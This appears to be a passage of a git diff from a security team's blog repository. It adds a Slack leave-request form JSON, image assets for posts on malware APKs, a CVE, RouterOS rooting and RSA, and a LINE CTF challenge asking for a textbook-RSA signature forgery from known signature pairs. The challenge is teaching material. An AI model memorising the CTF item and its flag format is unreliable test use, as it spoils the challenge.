+                  "type": "plain_text",
+                  "text": "반차"
+                },
+                "value": "half_vacation"
+              },
+              {
+                "text": {
+                  "type": "plain_text",
+                  "text": "반반차"
+                },
+                "value": "quarter_vacation"
+              },
+              {
+                "text": {
+                  "type": "plain_text",
+                  "text": "병가"
+                },
+                "value": "sick_vacation"
+              },
+              {
+                "text": {
+                  "type": "plain_text",
+                  "text": "외출"
+                },
+                "value": "outing"
+              }
+            ]
+          }
+        ]
+      },
+      {
+        "type": "section",
+        "block_id": "",
+        "text": {
+          "type": "mrkdwn",
+          "text": "*날짜 선택*"
+        }
+      },
+      {
+        "type": "actions",
+        "block_id": "datepicker_select_period_block",
+        "elements": [
+          {
+            "type": "datepicker",
+            "action_id": "datepicker_start_date_action",
+            "placeholder": {
+              "type": "plain_text",
+              "text": "Select start date"
+            }
+          },
+          {
+            "type": "datepicker",
+            "action_id": "datepicker_end_date_action",
+            "placeholder": {
+              "type": "plain_text",
+              "text": "Select end date"
+            }
+          }
+        ]
+      },
+      {
+        "type": "input",
+        "block_id": "reason_text_block",
+        "element": {
+          "type": "plain_text_input",
+          "action_id": "reason_text_action"
+        },
+        "label": {
+          "type": "plain_text",
+          "text": "사유"
+        }
+      },
+      {
+        "type": "section",
+        "block_id": "confirm_datetime_block",
+        "text": {
+          "type": "mrkdwn",
+          "text": "*날짜 확인*\n`시작 날짜 선택 안됨`"
+        }
+      }
+    ]
+  }
+
\ No newline at end of file diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/slackbot.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/slackbot.png" new file mode 100644 index 0000000..f9e412c Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/slackbot.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thirdparty.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thirdparty.png" new file mode 100644 index 0000000..7d1ded6 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thirdparty.png" differ diff --git "a/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thumbnail.png" "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thumbnail.png" new file mode 100644 index 0000000..b66ae04 Binary files /dev/null and "b/docs/assets/2021-07-13-Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225/thumbnail.png" differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/11.png b/docs/assets/2021-07-29-malwareAPK.asset/11.png new file mode 100644 index 0000000..5681658 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/11.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/12.png b/docs/assets/2021-07-29-malwareAPK.asset/12.png new file mode 100644 index 0000000..8dcd48c Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/12.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/13.png b/docs/assets/2021-07-29-malwareAPK.asset/13.png new file mode 100644 index 0000000..a49ffd4 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/13.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/14.png b/docs/assets/2021-07-29-malwareAPK.asset/14.png new file mode 100644 index 0000000..5737ae5 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/14.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/15.png b/docs/assets/2021-07-29-malwareAPK.asset/15.png new file mode 100644 index 0000000..83fd0a2 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/15.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/16.png b/docs/assets/2021-07-29-malwareAPK.asset/16.png new file mode 100644 index 0000000..e0163dd Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/16.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/18.png b/docs/assets/2021-07-29-malwareAPK.asset/18.png new file mode 100644 index 0000000..61495bf Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/18.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/19 1.png b/docs/assets/2021-07-29-malwareAPK.asset/19 1.png new file mode 100644 index 0000000..d91663a Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/19 1.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/19.png b/docs/assets/2021-07-29-malwareAPK.asset/19.png new file mode 100644 index 0000000..c8ef376 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/19.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/20.png b/docs/assets/2021-07-29-malwareAPK.asset/20.png new file mode 100644 index 0000000..ddc2b25 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/20.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/23.png b/docs/assets/2021-07-29-malwareAPK.asset/23.png new file mode 100644 index 0000000..477cfd0 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/23.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/26.png b/docs/assets/2021-07-29-malwareAPK.asset/26.png new file mode 100644 index 0000000..9fb7b3f Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/26.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/29.png b/docs/assets/2021-07-29-malwareAPK.asset/29.png new file mode 100644 index 0000000..d5b2d24 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/29.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/3 1.png b/docs/assets/2021-07-29-malwareAPK.asset/3 1.png new file mode 100644 index 0000000..5bc4350 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/3 1.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/3.png b/docs/assets/2021-07-29-malwareAPK.asset/3.png new file mode 100644 index 0000000..033f37b Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/3.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/32.png b/docs/assets/2021-07-29-malwareAPK.asset/32.png new file mode 100644 index 0000000..3d47aff Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/32.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/33.png b/docs/assets/2021-07-29-malwareAPK.asset/33.png new file mode 100644 index 0000000..8ae80d4 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/33.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/34.png b/docs/assets/2021-07-29-malwareAPK.asset/34.png new file mode 100644 index 0000000..00229e9 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/34.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/35.png b/docs/assets/2021-07-29-malwareAPK.asset/35.png new file mode 100644 index 0000000..5381ebc Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/35.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/4.png b/docs/assets/2021-07-29-malwareAPK.asset/4.png new file mode 100644 index 0000000..09a4ecc Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/4.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/40.png b/docs/assets/2021-07-29-malwareAPK.asset/40.png new file mode 100644 index 0000000..eed4aa2 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/40.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/41.png b/docs/assets/2021-07-29-malwareAPK.asset/41.png new file mode 100644 index 0000000..fcb49a5 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/41.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/45.png b/docs/assets/2021-07-29-malwareAPK.asset/45.png new file mode 100644 index 0000000..e1c3fb2 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/45.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/46.png b/docs/assets/2021-07-29-malwareAPK.asset/46.png new file mode 100644 index 0000000..1fa21a3 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/46.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/48.png b/docs/assets/2021-07-29-malwareAPK.asset/48.png new file mode 100644 index 0000000..3ebaef5 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/48.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/5 1.png b/docs/assets/2021-07-29-malwareAPK.asset/5 1.png new file mode 100644 index 0000000..6cb3b0f Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/5 1.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/5.png b/docs/assets/2021-07-29-malwareAPK.asset/5.png new file mode 100644 index 0000000..a3dd636 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/5.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/50.png b/docs/assets/2021-07-29-malwareAPK.asset/50.png new file mode 100644 index 0000000..084d58f Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/50.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/51.png b/docs/assets/2021-07-29-malwareAPK.asset/51.png new file mode 100644 index 0000000..eb96b58 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/51.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/7.png b/docs/assets/2021-07-29-malwareAPK.asset/7.png new file mode 100644 index 0000000..f847d1d Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/7.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/8 1.png b/docs/assets/2021-07-29-malwareAPK.asset/8 1.png new file mode 100644 index 0000000..6c50387 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/8 1.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/8.png b/docs/assets/2021-07-29-malwareAPK.asset/8.png new file mode 100644 index 0000000..39795b4 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/8.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/9.png b/docs/assets/2021-07-29-malwareAPK.asset/9.png new file mode 100644 index 0000000..d6a01fc Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/9.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/Untitled.png b/docs/assets/2021-07-29-malwareAPK.asset/Untitled.png new file mode 100644 index 0000000..1518345 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/Untitled.png differ diff --git a/docs/assets/2021-07-29-malwareAPK.asset/ex.png b/docs/assets/2021-07-29-malwareAPK.asset/ex.png new file mode 100644 index 0000000..4265056 Binary files /dev/null and b/docs/assets/2021-07-29-malwareAPK.asset/ex.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_1.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_1.png new file mode 100644 index 0000000..573d018 Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_1.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_2.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_2.png new file mode 100644 index 0000000..de5d8af Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_2.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_3.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_3.png new file mode 100644 index 0000000..461b584 Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_3.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_4.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_4.png new file mode 100644 index 0000000..9d1b23a Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_4.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_5.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_5.png new file mode 100644 index 0000000..f61b408 Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_5.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_6.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_6.png new file mode 100644 index 0000000..3be2152 Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_6.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_7.png b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_7.png new file mode 100644 index 0000000..04bb0ce Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/cve202026934_7.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/profile.png b/docs/assets/2021-08-20-CVE-2020-26934/profile.png new file mode 100644 index 0000000..2fba53c Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/profile.png differ diff --git a/docs/assets/2021-08-20-CVE-2020-26934/thumbnail.png b/docs/assets/2021-08-20-CVE-2020-26934/thumbnail.png new file mode 100644 index 0000000..95c656e Binary files /dev/null and b/docs/assets/2021-08-20-CVE-2020-26934/thumbnail.png differ diff --git a/docs/assets/2022-04-12-Ronin-Bridge-Vuln-Analysis/image.png b/docs/assets/2022-04-12-Ronin-Bridge-Vuln-Analysis/image.png new file mode 100644 index 0000000..9995cb3 Binary files /dev/null and b/docs/assets/2022-04-12-Ronin-Bridge-Vuln-Analysis/image.png differ diff --git a/docs/assets/2022-06-01-how-to-root-routeros/6d99def97b5f4aa312ca4519056a67ffb624cd4059f38c21bd7f9a08b82c530b.png b/docs/assets/2022-06-01-how-to-root-routeros/6d99def97b5f4aa312ca4519056a67ffb624cd4059f38c21bd7f9a08b82c530b.png new file mode 100644 index 0000000..9064286 Binary files /dev/null and b/docs/assets/2022-06-01-how-to-root-routeros/6d99def97b5f4aa312ca4519056a67ffb624cd4059f38c21bd7f9a08b82c530b.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/001_markus-spiske-iar-afB0QQw-unsplash_edit.jpg b/docs/assets/2022-06-08-homomorphism-in-rsa/001_markus-spiske-iar-afB0QQw-unsplash_edit.jpg new file mode 100644 index 0000000..536600b Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/001_markus-spiske-iar-afB0QQw-unsplash_edit.jpg differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/002_RSA_inventors.jpeg b/docs/assets/2022-06-08-homomorphism-in-rsa/002_RSA_inventors.jpeg new file mode 100644 index 0000000..22b1918 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/002_RSA_inventors.jpeg differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/003_npq.png b/docs/assets/2022-06-08-homomorphism-in-rsa/003_npq.png new file mode 100644 index 0000000..7476f4b Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/003_npq.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/004_phi.png b/docs/assets/2022-06-08-homomorphism-in-rsa/004_phi.png new file mode 100644 index 0000000..f10a8a8 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/004_phi.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/005_lambda.png b/docs/assets/2022-06-08-homomorphism-in-rsa/005_lambda.png new file mode 100644 index 0000000..b97ba6f Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/005_lambda.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/006_gcd_coprime.png b/docs/assets/2022-06-08-homomorphism-in-rsa/006_gcd_coprime.png new file mode 100644 index 0000000..c4cae0b Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/006_gcd_coprime.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/007_Fermat_numbers.png b/docs/assets/2022-06-08-homomorphism-in-rsa/007_Fermat_numbers.png new file mode 100644 index 0000000..c94e33e Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/007_Fermat_numbers.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/008_private_key_d.png b/docs/assets/2022-06-08-homomorphism-in-rsa/008_private_key_d.png new file mode 100644 index 0000000..fe9dba0 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/008_private_key_d.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/009_keys.png b/docs/assets/2022-06-08-homomorphism-in-rsa/009_keys.png new file mode 100644 index 0000000..f4a9b98 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/009_keys.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/010_enc.png b/docs/assets/2022-06-08-homomorphism-in-rsa/010_enc.png new file mode 100644 index 0000000..bf18b15 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/010_enc.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/011_dec.png b/docs/assets/2022-06-08-homomorphism-in-rsa/011_dec.png new file mode 100644 index 0000000..bc520a9 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/011_dec.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/012_sign.png b/docs/assets/2022-06-08-homomorphism-in-rsa/012_sign.png new file mode 100644 index 0000000..3d07c05 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/012_sign.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/013_verify.png b/docs/assets/2022-06-08-homomorphism-in-rsa/013_verify.png new file mode 100644 index 0000000..d3c84c5 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/013_verify.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/014_pq.png b/docs/assets/2022-06-08-homomorphism-in-rsa/014_pq.png new file mode 100644 index 0000000..1fa2fa7 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/014_pq.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/015_npq3233.png b/docs/assets/2022-06-08-homomorphism-in-rsa/015_npq3233.png new file mode 100644 index 0000000..7d91723 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/015_npq3233.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/016_phi(n).png b/docs/assets/2022-06-08-homomorphism-in-rsa/016_phi(n).png new file mode 100644 index 0000000..412a69c Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/016_phi(n).png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/017_e17.png b/docs/assets/2022-06-08-homomorphism-in-rsa/017_e17.png new file mode 100644 index 0000000..0a641a2 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/017_e17.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/018_private_key_d.png b/docs/assets/2022-06-08-homomorphism-in-rsa/018_private_key_d.png new file mode 100644 index 0000000..5d28860 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/018_private_key_d.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/019_enc.png b/docs/assets/2022-06-08-homomorphism-in-rsa/019_enc.png new file mode 100644 index 0000000..db4216c Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/019_enc.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/020_sign.png b/docs/assets/2022-06-08-homomorphism-in-rsa/020_sign.png new file mode 100644 index 0000000..3245548 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/020_sign.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/021_m_factor.png b/docs/assets/2022-06-08-homomorphism-in-rsa/021_m_factor.png new file mode 100644 index 0000000..0d8fb75 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/021_m_factor.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/022_m_sign.png b/docs/assets/2022-06-08-homomorphism-in-rsa/022_m_sign.png new file mode 100644 index 0000000..b11ea82 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/022_m_sign.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/023_find_m.png b/docs/assets/2022-06-08-homomorphism-in-rsa/023_find_m.png new file mode 100644 index 0000000..b5ed4d9 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/023_find_m.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/024_original_signature.png b/docs/assets/2022-06-08-homomorphism-in-rsa/024_original_signature.png new file mode 100644 index 0000000..6034f3f Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/024_original_signature.png differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/025_philip-estrada-vJr3t39a0xw-unsplash_edit.jpg b/docs/assets/2022-06-08-homomorphism-in-rsa/025_philip-estrada-vJr3t39a0xw-unsplash_edit.jpg new file mode 100644 index 0000000..aea8c40 Binary files /dev/null and b/docs/assets/2022-06-08-homomorphism-in-rsa/025_philip-estrada-vJr3t39a0xw-unsplash_edit.jpg differ diff --git a/docs/assets/2022-06-08-homomorphism-in-rsa/x_factor.md b/docs/assets/2022-06-08-homomorphism-in-rsa/x_factor.md new file mode 100644 index 0000000..0c65a17 --- /dev/null +++ b/docs/assets/2022-06-08-homomorphism-in-rsa/x_factor.md @@ -0,0 +1,17 @@ +I have generated a RSA-1024 key pair: +* public key exponent: 0x10001 +* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3 + +Here are some known plain -> signature pairs I generated using my private key: +* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4 +* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50 +* 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a +* 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c +* 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb +* 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd +* 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a + +**What is the signature of 0x686178656c696f6e?** + +Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag. +E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`. \ No newline at end of file diff --git a/docs/assets/2022-06-30-2022_3s_review/banner.png b/docs/assets/2022-06-30-2022_3s_review/banner.png new file mode 100644 index 0000000..70894c0 Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/banner.png differ diff --git a/docs/assets/2022-06-30-2022_3s_review/dhkim.jpg b/docs/assets/2022-06-30-2022_3s_review/dhkim.jpg new file mode 100644 index 0000000..d326b63 Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/dhkim.jpg differ diff --git a/docs/assets/2022-06-30-2022_3s_review/hjhan.jpg b/docs/assets/2022-06-30-2022_3s_review/hjhan.jpg new file mode 100644 index 0000000..49b3093 Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/hjhan.jpg differ diff --git a/docs/assets/2022-06-30-2022_3s_review/jhjang.jpg b/docs/assets/2022-06-30-2022_3s_review/jhjang.jpg new file mode 100644 index 0000000..19a7a1d Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/jhjang.jpg differ diff --git a/docs/assets/2022-06-30-2022_3s_review/scyoon.jpg b/docs/assets/2022-06-30-2022_3s_review/scyoon.jpg new file mode 100644 index 0000000..1b8f66f Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/scyoon.jpg differ diff --git a/docs/assets/2022-06-30-2022_3s_review/snwo.jpg b/docs/assets/2022-06-30-2022_3s_review/snwo.jpg new file mode 100644 index 0000000..b4f6f72 Binary files /dev/null and b/docs/assets/2022-06-30-2022_3s_review/snwo.jpg differ diff --git a/docs/assets/2022-06-30-PDF-with-React/chart.png b/docs/assets/2022-06-30-PDF-with-React/chart.png new file mode 100644 index 0000000..16c6e83 Binary files /dev/null and b/docs/assets/2022-06-30-PDF-with-React/chart.png differ diff --git a/docs/assets/2022-06-30-PDF-with-React/code-manage-not-good.png b/docs/assets/2022-06-30-PDF-with-React/code-manage-not-good.png new file mode 100644 index 0000000..a5f7268 Binary files /dev/null and b/docs/assets/2022-06-30-PDF-with-React/code-manage-not-good.png differ diff --git a/docs/assets/2022-06-30-PDF-with-React/react-pdf.png b/docs/assets/2022-06-30-PDF-with-React/react-pdf.png new file mode 100644 index 0000000..a0ebb3c Binary files /dev/null and b/docs/assets/2022-06-30-PDF-with-React/react-pdf.png differ diff --git a/docs/assets/2022-07-14-LLVM-flow-flatten/flattened-flow-graph.png b/docs/assets/2022-07-14-LLVM-flow-flatten/flattened-flow-graph.png new file mode 100644 index 0000000..d729b2b Binary files /dev/null and b/docs/assets/2022-07-14-LLVM-flow-flatten/flattened-flow-graph.png differ diff --git a/docs/assets/2022-07-14-LLVM-flow-flatten/original-flow-graph.png b/docs/assets/2022-07-14-LLVM-flow-flatten/original-flow-graph.png new file mode 100644 index 0000000..ea25032 Binary files /dev/null and b/docs/assets/2022-07-14-LLVM-flow-flatten/original-flow-graph.png differ diff --git a/docs/assets/2022-10-04-Secure-Coding-Training-System/cce.jpeg b/docs/assets/2022-10-04-Secure-Coding-Training-System/cce.jpeg new file mode 100644 index 0000000..90f43ff Binary files /dev/null and b/docs/assets/2022-10-04-Secure-Coding-Training-System/cce.jpeg differ diff --git a/docs/assets/2022-10-04-Secure-Coding-Training-System/poster.png b/docs/assets/2022-10-04-Secure-Coding-Training-System/poster.png new file mode 100644 index 0000000..80e1474 Binary files /dev/null and b/docs/assets/2022-10-04-Secure-Coding-Training-System/poster.png differ diff --git a/docs/assets/2022-10-04-Secure-Coding-Training-System/profile.jpeg b/docs/assets/2022-10-04-Secure-Coding-Training-System/profile.jpeg new file mode 100644 index 0000000..20e0b45 Binary files /dev/null and b/docs/assets/2022-10-04-Secure-Coding-Training-System/profile.jpeg differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/1.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/1.png new file mode 100644 index 0000000..f536ce7 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/1.png differ diff --git 